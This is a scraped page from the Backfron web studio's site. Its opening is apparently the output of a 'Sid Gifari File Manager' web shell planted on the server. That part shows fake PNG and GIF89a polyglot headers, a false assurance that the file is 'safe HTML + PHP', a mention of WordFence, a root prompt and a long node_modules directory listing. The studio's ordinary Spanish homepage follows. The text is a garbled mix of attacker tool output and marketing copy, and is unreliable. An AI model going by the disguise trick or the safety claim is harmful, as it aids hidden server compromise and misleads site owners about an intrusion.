$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / jairo.backfron.com / node_modules / caniuse-lite / data / features /
root@Sid-Gifari:/home/forge/jairo.backfron.com/node_modules/caniuse-lite/data/features$


NameSizePermAction
📄 aac.js 1366 bytes
📄 abortcontroller.js 1362 bytes
📄 ac3-ec3.js 1360 bytes
📄 accelerometer.js 1322 bytes
📄 addeventlistener.js 1317 bytes
📄 alternate-stylesheet.js 1319 bytes
📄 ambient-light.js 1341 bytes
📄 apng.js 1338 bytes
📄 array-find-index.js 1351 bytes
📄 array-find.js 1353 bytes
📄 array-flat.js 1353 bytes
📄 array-includes.js 1349 bytes
📄 arrow-functions.js 1334 bytes
📄 asmjs.js 1345 bytes
📄 async-clipboard.js 1370 bytes
📄 async-functions.js 1364 bytes
📄 atob-btoa.js 1325 bytes
📄 audio-api.js 1354 bytes
📄 audio.js 1340 bytes
📄 audiotracks.js 1337 bytes
📄 autofocus.js 1332 bytes
📄 auxclick.js 1323 bytes
📄 av1.js 1370 bytes
📄 avif.js 1348 bytes
📄 background-attachment.js 1390 bytes
📄 background-clip-text.js 1363 bytes
📄 background-img-opts.js 1387 bytes
📄 background-position-x-y.js 1334 bytes
📄 background-repeat-round-space.js 1370 bytes
📄 background-sync.js 1333 bytes
📄 battery-status.js 1348 bytes
📄 beacon.js 1329 bytes
📄 beforeafterprint.js 1333 bytes
📄 bigint.js 1339 bytes
📄 blobbuilder.js 1363 bytes
📄 bloburls.js 1378 bytes
📄 border-image.js 1528 bytes
📄 border-radius.js 1387 bytes
📄 broadcastchannel.js 1341 bytes
📄 brotli.js 1396 bytes
📄 calc.js 1395 bytes
📄 canvas-blending.js 1337 bytes
📄 canvas-text.js 1326 bytes
📄 canvas.js 1331 bytes
📄 ch-unit.js 1340 bytes
📄 chacha20-poly1305.js 1373 bytes
📄 channel-messaging.js 1345 bytes
📄 childnode-remove.js 1351 bytes
📄 classlist.js 1438 bytes
📄 client-hints-dpr-width-viewport.js 1347 bytes
📄 clipboard.js 1525 bytes
📄 colr-v1.js 1339 bytes
📄 colr.js 1375 bytes
📄 comparedocumentposition.js 1406 bytes
📄 console-basic.js 1377 bytes
📄 console-time.js 1347 bytes
📄 const.js 1458 bytes
📄 constraint-validation.js 1493 bytes
📄 contenteditable.js 1342 bytes
📄 contentsecuritypolicy.js 1408 bytes
📄 contentsecuritypolicy2.js 1419 bytes
📄 cookie-store-api.js 1347 bytes
📄 cors.js 1407 bytes
📄 createimagebitmap.js 1415 bytes
📄 credential-management.js 1353 bytes
📄 cryptography.js 1382 bytes
📄 css-all.js 1335 bytes
📄 css-animation.js 1382 bytes
📄 css-any-link.js 1405 bytes
📄 css-appearance.js 1410 bytes
📄 css-at-counter-style.js 1351 bytes
📄 css-autofill.js 1284 bytes
📄 css-backdrop-filter.js 1392 bytes
📄 css-background-offsets.js 1361 bytes
📄 css-backgroundblendmode.js 1376 bytes
📄 css-boxdecorationbreak.js 1391 bytes
📄 css-boxshadow.js 1369 bytes
📄 css-canvas.js 1327 bytes
📄 css-caret-color.js 1340 bytes
📄 css-cascade-layers.js 1355 bytes
📄 css-case-insensitive.js 1365 bytes
📄 css-clip-path.js 1443 bytes
📄 css-color-adjust.js 1345 bytes
📄 css-color-function.js 1319 bytes
📄 css-conic-gradients.js 1370 bytes
📄 css-container-queries.js 1335 bytes
📄 css-container-query-units.js 1338 bytes
📄 css-containment.js 1364 bytes
📄 css-content-visibility.js 1329 bytes
📄 css-counters.js 1289 bytes
📄 css-crisp-edges.js 1467 bytes
📄 css-cross-fade.js 1360 bytes
📄 css-default-pseudo.js 1428 bytes
📄 css-descendant-gtgt.js 1317 bytes
📄 css-deviceadaptation.js 1336 bytes
📄 css-dir-pseudo.js 1316 bytes
📄 css-display-contents.js 1430 bytes
📄 css-element-function.js 1304 bytes
📄 css-env-function.js 1372 bytes
📄 css-exclusions.js 1308 bytes
📄 css-featurequeries.js 1332 bytes
📄 css-file-selector-button.js 1305 bytes
📄 css-filter-function.js 1318 bytes
📄 css-filters.js 1414 bytes
📄 css-first-letter.js 1428 bytes
📄 css-first-line.js 1308 bytes
📄 css-fixed.js 1340 bytes
📄 css-focus-visible.js 1406 bytes
📄 css-focus-within.js 1372 bytes
📄 css-font-palette.js 1311 bytes
📄 css-font-rendering-controls.js 1372 bytes
📄 css-font-stretch.js 1341 bytes
📄 css-gencontent.js 1326 bytes
📄 css-gradients.js 1446 bytes
📄 css-grid-animation.js 1307 bytes
📄 css-grid.js 1446 bytes
📄 css-hanging-punctuation.js 1306 bytes
📄 css-has.js 1331 bytes
📄 css-hyphenate.js 1318 bytes
📄 css-hyphens.js 1387 bytes
📄 css-image-orientation.js 1373 bytes
📄 css-image-set.js 1415 bytes
📄 css-in-out-of-range.js 1474 bytes
📄 css-indeterminate-pseudo.js 1478 bytes
📄 css-initial-letter.js 1311 bytes
📄 css-initial-value.js 1336 bytes
📄 css-lch-lab.js 1307 bytes
📄 css-letter-spacing.js 1383 bytes
📄 css-line-clamp.js 1358 bytes
📄 css-logical-props.js 1494 bytes
📄 css-marker-pseudo.js 1360 bytes
📄 css-masks.js 1385 bytes
📄 css-matches-pseudo.js 1485 bytes
📄 css-math-functions.js 1384 bytes
📄 css-media-interaction.js 1360 bytes
📄 css-media-resolution.js 1400 bytes
📄 css-media-scripting.js 1324 bytes
📄 css-mediaqueries.js 1351 bytes
📄 css-mixblendmode.js 1366 bytes
📄 css-motion-paths.js 1356 bytes
📄 css-namespaces.js 1305 bytes
📄 css-nesting.js 1282 bytes
📄 css-not-sel-list.js 1364 bytes
📄 css-nth-child-of.js 1358 bytes
📄 css-opacity.js 1289 bytes
📄 css-optional-pseudo.js 1360 bytes
📄 css-overflow-anchor.js 1351 bytes
📄 css-overflow-overlay.js 1348 bytes
📄 css-overflow.js 1422 bytes
📄 css-overscroll-behavior.js 1402 bytes
📄 css-page-break.js 1389 bytes
📄 css-paged-media.js 1345 bytes
📄 css-paint-api.js 1322 bytes
📄 css-placeholder-shown.js 1378 bytes
📄 css-placeholder.js 1392 bytes
📄 css-print-color-adjust.js 1281 bytes
📄 css-read-only-write.js 1429 bytes
📄 css-rebeccapurple.js 1347 bytes
📄 css-reflections.js 1322 bytes
📄 css-regions.js 1328 bytes
📄 css-repeating-gradients.js 1411 bytes
📄 css-resize.js 1347 bytes
📄 css-revert-value.js 1341 bytes
📄 css-rrggbbaa.js 1379 bytes
📄 css-scroll-behavior.js 1386 bytes
📄 css-scroll-timeline.js 1331 bytes
📄 css-scrollbar.js 1391 bytes
📄 css-sel2.js 1300 bytes
📄 css-sel3.js 1323 bytes
📄 css-selection.js 1340 bytes
📄 css-shapes.js 1367 bytes
📄 css-snappoints.js 1409 bytes
📄 css-sticky.js 1452 bytes
📄 css-subgrid.js 1300 bytes
📄 css-supports-api.js 1380 bytes
📄 css-table.js 1302 bytes
📄 css-text-align-last.js 1361 bytes
📄 css-text-indent.js 1372 bytes
📄 css-text-justify.js 1375 bytes
📄 css-text-orientation.js 1367 bytes
📄 css-text-spacing.js 1311 bytes
📄 css-textshadow.js 1331 bytes
📄 css-touch-action-2.js 1383 bytes
📄 css-touch-action.js 1381 bytes
📄 css-transitions.js 1401 bytes
📄 css-unicode-bidi.js 1396 bytes
📄 css-unset-value.js 1334 bytes
📄 css-variables.js 1398 bytes
📄 css-when-else.js 1306 bytes
📄 css-widows-orphans.js 1343 bytes
📄 css-width-stretch.js 1266 bytes
📄 css-writing-mode.js 1407 bytes
📄 css-zoom.js 1313 bytes
📄 css3-attr.js 1310 bytes
📄 css3-boxsizing.js 1340 bytes
📄 css3-colors.js 1306 bytes
📄 css3-cursors-grab.js 1352 bytes
📄 css3-cursors-newer.js 1350 bytes
📄 css3-cursors.js 1362 bytes
📄 css3-tabsize.js 1409 bytes
📄 currentcolor.js 1318 bytes
📄 custom-elements.js 1390 bytes
📄 custom-elementsv1.js 1417 bytes
📄 customevent.js 1419 bytes
📄 datalist.js 1380 bytes
📄 dataset.js 1410 bytes
📄 datauri.js 1314 bytes
📄 date-tolocaledatestring.js 1498 bytes
📄 declarative-shadow-dom.js 1339 bytes
📄 decorators.js 1281 bytes
📄 details.js 1421 bytes
📄 deviceorientation.js 1384 bytes
📄 devicepixelratio.js 1324 bytes
📄 dialog.js 1366 bytes
📄 dispatchevent.js 1355 bytes
📄 dnssec.js 1332 bytes
📄 do-not-track.js 1400 bytes
📄 document-currentscript.js 1335 bytes
📄 document-evaluate-xpath.js 1310 bytes
📄 document-execcommand.js 1344 bytes
📄 document-policy.js 1328 bytes
📄 document-scrollingelement.js 1345 bytes
📄 documenthead.js 1335 bytes
📄 dom-manip-convenience.js 1379 bytes
📄 dom-range.js 1310 bytes
📄 domcontentloaded.js 1293 bytes
📄 domfocusin-domfocusout-events.js 1360 bytes
📄 dommatrix.js 1452 bytes
📄 download.js 1343 bytes
📄 dragndrop.js 1347 bytes
📄 element-closest.js 1342 bytes
📄 element-from-point.js 1354 bytes
📄 element-scroll-methods.js 1396 bytes
📄 eme.js 1378 bytes
📄 eot.js 1306 bytes
📄 es5.js 1404 bytes
📄 es6-class.js 1352 bytes
📄 es6-generators.js 1333 bytes
📄 es6-module-dynamic-import.js 1369 bytes
📄 es6-module.js 1418 bytes
📄 es6-number.js 1374 bytes
📄 es6-string-includes.js 1338 bytes
📄 es6.js 1436 bytes
📄 eventsource.js 1337 bytes
📄 extended-system-fonts.js 1358 bytes
📄 feature-policy.js 1403 bytes
📄 fetch.js 1374 bytes
📄 fieldset-disabled.js 1390 bytes
📄 fileapi.js 1435 bytes
📄 filereader.js 1341 bytes
📄 filereadersync.js 1354 bytes
📄 filesystem.js 1341 bytes
📄 flac.js 1381 bytes
📄 flexbox-gap.js 1349 bytes
📄 flexbox.js 1423 bytes
📄 flow-root.js 1343 bytes
📄 focusin-focusout-events.js 1367 bytes
📄 focusoptions-preventscroll.js 1327 bytes
📄 font-family-system-ui.js 1397 bytes
📄 font-feature.js 1414 bytes
📄 font-kerning.js 1386 bytes
📄 font-loading.js 1343 bytes
📄 font-metrics-overrides.js 1313 bytes
📄 font-size-adjust.js 1325 bytes
📄 font-smooth.js 1328 bytes
📄 font-unicode-range.js 1380 bytes
📄 font-variant-alternates.js 1408 bytes
📄 font-variant-east-asian.js 1340 bytes
📄 font-variant-numeric.js 1356 bytes
📄 fontface.js 1343 bytes
📄 form-attribute.js 1334 bytes
📄 form-submit-attributes.js 1371 bytes
📄 form-validation.js 1366 bytes
📄 forms.js 1362 bytes
📄 fullscreen.js 1424 bytes
📄 gamepad.js 1325 bytes
📄 geolocation.js 1410 bytes
📄 getboundingclientrect.js 1419 bytes
📄 getcomputedstyle.js 1365 bytes
📄 getelementsbyclassname.js 1317 bytes
📄 getrandomvalues.js 1357 bytes
📄 gyroscope.js 1318 bytes
📄 hardwareconcurrency.js 1368 bytes
📄 hashchange.js 1335 bytes
📄 heif.js 1318 bytes
📄 hevc.js 1359 bytes
📄 hidden.js 1347 bytes
📄 high-resolution-time.js 1356 bytes
📄 history.js 1357 bytes
📄 html-media-capture.js 1327 bytes
📄 html5semantic.js 1432 bytes
📄 http-live-streaming.js 1326 bytes
📄 http2.js 1394 bytes
📄 http3.js 1394 bytes
📄 iframe-sandbox.js 1348 bytes
📄 iframe-seamless.js 1324 bytes
📄 iframe-srcdoc.js 1395 bytes
📄 imagecapture.js 1329 bytes
📄 ime.js 1318 bytes
📄 img-naturalwidth-naturalheight.js 1322 bytes
📄 import-maps.js 1350 bytes
📄 imports.js 1372 bytes
📄 indeterminate-checkbox.js 1349 bytes
📄 indexeddb.js 1424 bytes
📄 indexeddb2.js 1403 bytes
📄 inline-block.js 1308 bytes
📄 innertext.js 1333 bytes
📄 input-autocomplete-onoff.js 1395 bytes
📄 input-color.js 1331 bytes
📄 input-datetime.js 1386 bytes
📄 input-email-tel-url.js 1351 bytes
📄 input-event.js 1521 bytes
📄 input-file-accept.js 1438 bytes
📄 input-file-directory.js 1336 bytes
📄 input-file-multiple.js 1354 bytes
📄 input-inputmode.js 1368 bytes
📄 input-minlength.js 1366 bytes
📄 input-number.js 1375 bytes
📄 input-pattern.js 1379 bytes
📄 input-placeholder.js 1344 bytes
📄 input-range.js 1311 bytes
📄 input-search.js 1406 bytes
📄 input-selection.js 1337 bytes
📄 insert-adjacent.js 1360 bytes
📄 insertadjacenthtml.js 1347 bytes
📄 internationalization.js 1349 bytes
📄 intersectionobserver-v2.js 1330 bytes
📄 intersectionobserver.js 1423 bytes
📄 intl-pluralrules.js 1353 bytes
📄 intrinsic-width.js 1473 bytes
📄 jpeg2000.js 1313 bytes
📄 jpegxl.js 1323 bytes
📄 jpegxr.js 1303 bytes
📄 js-regexp-lookbehind.js 1349 bytes
📄 json.js 1321 bytes
📄 justify-content-space-evenly.js 1410 bytes
📄 kerning-pairs-ligatures.js 1366 bytes
📄 keyboardevent-charcode.js 1357 bytes
📄 keyboardevent-code.js 1353 bytes
📄 keyboardevent-getmodifierstate.js 1365 bytes
📄 keyboardevent-key.js 1376 bytes
📄 keyboardevent-location.js 1394 bytes
📄 keyboardevent-which.js 1352 bytes
📄 lazyload.js 1313 bytes
📄 let.js 1393 bytes
📄 link-icon-png.js 1317 bytes
📄 link-icon-svg.js 1374 bytes
📄 link-rel-dns-prefetch.js 1351 bytes
📄 link-rel-modulepreload.js 1338 bytes
📄 link-rel-preconnect.js 1369 bytes
📄 link-rel-prefetch.js 1347 bytes
📄 link-rel-preload.js 1389 bytes
📄 link-rel-prerender.js 1326 bytes
📄 loading-lazy-attr.js 1410 bytes
📄 localecompare.js 1391 bytes
📄 magnetometer.js 1311 bytes
📄 matchesselector.js 1399 bytes
📄 matchmedia.js 1335 bytes
📄 mathml.js 1371 bytes
📄 maxlength.js 1450 bytes
📄 media-attribute.js 1354 bytes
📄 media-fragments.js 1366 bytes
📄 media-session-api.js 1307 bytes
📄 mediacapture-fromelement.js 1388 bytes
📄 mediarecorder.js 1362 bytes
📄 mediasource.js 1379 bytes
📄 menu.js 1339 bytes
📄 meta-theme-color.js 1334 bytes
📄 meter.js 1332 bytes
📄 midi.js 1313 bytes
📄 minmaxwh.js 1317 bytes
📄 mp3.js 1337 bytes
📄 mpeg-dash.js 1333 bytes
📄 mpeg4.js 1348 bytes
📄 multibackgrounds.js 1314 bytes
📄 multicolumn.js 1463 bytes
📄 mutation-events.js 1408 bytes
📄 mutationobserver.js 1381 bytes
📄 namevalue-storage.js 1337 bytes
📄 native-filesystem-api.js 1357 bytes
📄 nav-timing.js 1353 bytes
📄 navigator-language.js 1346 bytes
📄 netinfo.js 1361 bytes
📄 notifications.js 1358 bytes
📄 object-entries.js 1346 bytes
📄 object-fit.js 1389 bytes
📄 object-observe.js 1316 bytes
📄 object-values.js 1345 bytes
📄 objectrtc.js 1317 bytes
📄 offline-apps.js 1367 bytes
📄 offscreencanvas.js 1350 bytes
📄 ogg-vorbis.js 1339 bytes
📄 ogv.js 1318 bytes
📄 ol-reversed.js 1381 bytes
📄 once-event-listener.js 1355 bytes
📄 online-status.js 1372 bytes
📄 opus.js 1333 bytes
📄 orientation-sensor.js 1327 bytes
📄 outline.js 1343 bytes
📄 pad-start-end.js 1379 bytes
📄 page-transition-events.js 1334 bytes
📄 pagevisibility.js 1375 bytes
📄 passive-event-listener.js 1348 bytes
📄 passwordrules.js 1367 bytes
📄 path2d.js 1400 bytes
📄 payment-request.js 1460 bytes
📄 pdf-viewer.js 1333 bytes
📄 permissions-api.js 1316 bytes
📄 permissions-policy.js 1405 bytes
📄 picture-in-picture.js 1398 bytes
📄 picture.js 1358 bytes
📄 ping.js 1340 bytes
📄 png-alpha.js 1305 bytes
📄 pointer-events.js 1336 bytes
📄 pointer.js 1434 bytes
📄 pointerlock.js 1357 bytes
📄 portals.js 1336 bytes
📄 prefers-color-scheme.js 1357 bytes
📄 prefers-reduced-motion.js 1359 bytes
📄 private-class-fields.js 1327 bytes
📄 private-methods-and-accessors.js 1320 bytes
📄 progress.js 1343 bytes
📄 promise-finally.js 1350 bytes
📄 promises.js 1339 bytes
📄 proximity.js 1290 bytes
📄 proxy.js 1345 bytes
📄 public-class-fields.js 1354 bytes
📄 publickeypinning.js 1331 bytes
📄 push-api.js 1366 bytes
📄 queryselector.js 1333 bytes
📄 readonly-attr.js 1387 bytes
📄 referrer-policy.js 1426 bytes
📄 registerprotocolhandler.js 1333 bytes
📄 rel-noopener.js 1337 bytes
📄 rel-noreferrer.js 1354 bytes
📄 rellist.js 1381 bytes
📄 rem.js 1342 bytes
📄 requestanimationframe.js 1398 bytes
📄 requestidlecallback.js 1356 bytes
📄 resizeobserver.js 1363 bytes
📄 resource-timing.js 1350 bytes
📄 rest-parameters.js 1350 bytes
📄 rtcpeerconnection.js 1390 bytes
📄 ruby.js 1334 bytes
📄 run-in.js 1351 bytes
📄 same-site-cookie-attribute.js 1422 bytes
📄 screen-orientation.js 1343 bytes
📄 script-async.js 1363 bytes
📄 script-defer.js 1365 bytes
📄 scrollintoview.js 1394 bytes
📄 scrollintoviewifneeded.js 1349 bytes
📄 sdch.js 1338 bytes
📄 selection-api.js 1406 bytes
📄 server-timing.js 1344 bytes
📄 serviceworkers.js 1370 bytes
📄 setimmediate.js 1324 bytes
📄 sha-2.js 1333 bytes
📄 shadowdom.js 1361 bytes
📄 shadowdomv1.js 1370 bytes
📄 sharedarraybuffer.js 1408 bytes
📄 sharedworkers.js 1338 bytes
📄 sni.js 1331 bytes
📄 spdy.js 1361 bytes
📄 speech-recognition.js 1355 bytes
📄 speech-synthesis.js 1365 bytes
📄 spellcheck-attribute.js 1321 bytes
📄 sql-storage.js 1317 bytes
📄 srcset.js 1396 bytes
📄 stream.js 1405 bytes
📄 streams.js 1459 bytes
📄 stricttransportsecurity.js 1340 bytes
📄 style-scoped.js 1303 bytes
📄 subresource-integrity.js 1354 bytes
📄 svg-css.js 1371 bytes
📄 svg-filters.js 1330 bytes
📄 svg-fonts.js 1346 bytes
📄 svg-fragment.js 1408 bytes
📄 svg-html.js 1337 bytes
📄 svg-html5.js 1394 bytes
📄 svg-img.js 1356 bytes
📄 svg-smil.js 1341 bytes
📄 svg.js 1340 bytes
📄 sxg.js 1345 bytes
📄 tabindex-attr.js 1347 bytes
📄 template-literals.js 1376 bytes
📄 template.js 1381 bytes
📄 temporal.js 1279 bytes
📄 testfeat.js 1349 bytes
📄 text-decoration.js 1418 bytes
📄 text-emphasis.js 1406 bytes
📄 text-overflow.js 1315 bytes
📄 text-size-adjust.js 1354 bytes
📄 text-stroke.js 1372 bytes
📄 text-underline-offset.js 1318 bytes
📄 textcontent.js 1321 bytes
📄 textencoder.js 1352 bytes
📄 tls1-1.js 1397 bytes
📄 tls1-2.js 1360 bytes
📄 tls1-3.js 1373 bytes
📄 token-binding.js 1371 bytes
📄 touch.js 1343 bytes
📄 transforms2d.js 1380 bytes
📄 transforms3d.js 1394 bytes
📄 trusted-types.js 1341 bytes
📄 ttf.js 1349 bytes
📄 typedarrays.js 1363 bytes
📄 u2f.js 1343 bytes
📄 unhandledrejection.js 1374 bytes
📄 upgradeinsecurerequests.js 1344 bytes
📄 url-scroll-to-text-fragment.js 1355 bytes
📄 url.js 1368 bytes
📄 urlsearchparams.js 1348 bytes
📄 use-strict.js 1351 bytes
📄 user-select-none.js 1364 bytes
📄 user-timing.js 1334 bytes
📄 variable-fonts.js 1468 bytes
📄 vector-effect.js 1360 bytes
📄 vibration.js 1333 bytes
📄 video.js 1346 bytes
📄 videotracks.js 1331 bytes
📄 viewport-unit-variants.js 1337 bytes
📄 viewport-units.js 1411 bytes
📄 wai-aria.js 1326 bytes
📄 wake-lock.js 1351 bytes
📄 wasm.js 1379 bytes
📄 wav.js 1325 bytes
📄 wbr-element.js 1347 bytes
📄 web-animation.js 1450 bytes
📄 web-app-manifest.js 1344 bytes
📄 web-bluetooth.js 1370 bytes
📄 web-serial.js 1324 bytes
📄 web-share.js 1370 bytes
📄 webauthn.js 1389 bytes
📄 webgl.js 1411 bytes
📄 webgl2.js 1390 bytes
📄 webgpu.js 1337 bytes
📄 webhid.js 1320 bytes
📄 webkit-user-drag.js 1326 bytes
📄 webm.js 1445 bytes
📄 webnfc.js 1304 bytes
📄 webp.js 1410 bytes
📄 websockets.js 1404 bytes
📄 webusb.js 1315 bytes
📄 webvr.js 1336 bytes
📄 webvtt.js 1380 bytes
📄 webworkers.js 1336 bytes
📄 webxr.js 1361 bytes
📄 will-change.js 1351 bytes
📄 woff.js 1354 bytes
📄 woff2.js 1358 bytes
📄 word-break.js 1334 bytes
📄 wordwrap.js 1355 bytes
📄 x-doc-messaging.js 1329 bytes
📄 x-frame-options.js 1365 bytes
📄 xhr2.js 1462 bytes
📄 xhtml.js 1314 bytes
📄 xhtmlsmil.js 1303 bytes
📄 xml-serializer.js 1398 bytes
Inicio - Statamic

Backfron Haz que tu presencia en internet se note

Saber más

Sitios web

Sitios web para empresas o negocios de cualquier tamaño y presupuesto.

Aplicaciones web

Aplicaciones web para empresas o negocios que necesitan automatizar parte de sus procesos o hacer una transformación digital total.

Imagen corporativa

Creación de imagen corporativa para tu empresa o negocio. Naming, logotipos, papelería.

Bienvenido a Backfron

Somos un estudio de desarrollo de sitios web e imagen corporativa. Desarrollamos sitios y aplicaciones web personalizados para diferentes tipos de personas y negocios. Queremos que tu presencia en internet se note, por eso desarrollamos usando sólidas tecnologías y elegimos las tendencias que mejor se ajusten a tus necesidades.

¿Por qué elegirnos?

Entendemos que cada persona y negocio son únicos y tienen
necesidades diferentes.

WEB BÁSICA

¿Necesitas un sitio web básico?

Está bien, desarrollamos tu sitio web estático y lo dejamos listo para que lo sigas ampliando en el futuro.

Cotizar
CMS

¿Quieres más control?

No hay problema, te entregamos un CMS para que tú decidas qué y cuándo publicas.

Cotizar
WEB APP

¿Buscas automatizar procesos?

Lo tenemos cubierto. Desarrollamos tu aplicación web hecha a la medida de las políticas de tu negocio.

Cotizar

Nuestro equipo

Somos un equipo multifacético y que centra su atención hasta en los detalles más pequeños para que tus proyectos sean de calidad.

Jairo Ushiña
Jairo Ushiña
Desarrollador Web
Bibi Barrios
Bibi Barrios
Diseñadora Gráfica
Layla
Layla
Compañera incondicional 🐶
Statamic
Guayaquil, Ecuador
info@backfron.com